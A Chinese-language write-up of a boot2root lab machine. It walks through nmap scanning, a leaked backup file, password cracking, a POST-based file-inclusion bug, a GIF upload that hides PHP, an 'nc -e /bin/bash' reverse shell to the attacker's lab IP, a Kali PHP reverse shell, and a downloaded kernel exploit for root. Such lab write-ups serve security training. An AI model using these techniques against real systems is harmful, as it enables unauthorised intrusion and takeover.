首发于先知社区 https://xz.aliyun.com/t/2593
环境说明
靶机环境 192.168.107.128
攻击机kali 192.168.107.129
主机发现
首先用nmap进行主机发现,因为都在同一网段,所以nmap -sP 192.168.107.1/24
可以看到,本机ip是129,所以靶机自然就确定为192.168.107.128。
端口扫描
确定了靶机ip,就来确认一下开放的端口,使用nmap -sS -A 192.168.107.128
靶机开放了4个端口,web80端口,ftp21端口,ssh22端口,还有一个8011端口,我们一个一个看,先从web服务入手,
目录扫描
访问,是一个博客的页面,主页上什么东西都没有,纯静态。所以我们扫一下目录
看到了两个有用的东西,一个是robots.txt,一个是备份的源码index.html.bak,还是一个一个来,先看看robots.txt,
什么都没有,右键源码也是什么都没有,那就接着去看bak泄露的东西,下载下来,打开
这里给我们透露了一个development目录,还有类似于用户名密码的字符串,那我们就去看看这个目录,
果然需要用户名和密码才能登陆,先放一放,看看其他入口,之前有个ftp端口开放了,看看有什么有用的文件,
nothing,另外一个8011端口
包含漏洞发现
看样子得扫一下目录了,
一个api,里面有四个api,经过访问,只要files_api.php能够访问,其余三个都是404,
看样子是要让我们传入一个file参数,传入一个/etc/passwd结果发现是WRONG,难道说是过滤了什么?又试了其他的一些目录都是WRONG,
感觉什么都没法读啊。。突然想到除了get,还可以post啊,果然,post一个file就行了
然后再来看我们之前的那串字符串,丢到kali下的john里解密,john <filename>
。
解密出来,密码是frank!!!。
然后去登陆
包含上传组合拳获取会话
扫一发目录,没什么发现,看到页面上的描述,the uploader tool,应该是uploader目录,
一个上传的页面,那应该是上传getshell了,我们随便上传一个gif
已经上传了,但是,我们找不到上传的路径,通过has been uploaded my uploads path,可以猜一猜上传路径,根据网站我写了个字典,Fuzz一下
结果上传路径为FRANKuploads。
测试上传php,截断,等各种php都传不上去,这时候突然想到还有一个包含的漏洞,可以传一个gif文件里面插入一句话,然后再包含。我写了一个phpinfo().加个GIF98的头 接着包含 。果然能用,然后我想直接弹个shell,插一个nc -e /bin/bash 192.168.107.129 4444
。结果,没有任何反应,那应该是有什么过滤,接着我用msf生成了一个一句话, ,依然弹不了shell,然后就在这,卡了一天。。查了资料,kali下有一个反弹shell的php文件,是/usr/share/webshells/php/php-reverse-shell.php,然后抱着试一试的心态,。
然后非常开心,居然成功了 。(后来我在shell上测试nc的时候也不行,那应该就是靶机本身的问题吧)。
提升权限
我们引入一个交互式shell,python -c 'import pty;pty.swpan("/bin/bash)'
然后不能访问root,sudo需要密码 那接下来就是提权了,看下版本号 ,谷歌一发,发现编号,把他放在kali web服务下 。然后靶机用wget下载
这里注意,必须下到tmp目录下,否则没有权限 ,然后就直接gcc编译, ,至此提权完成。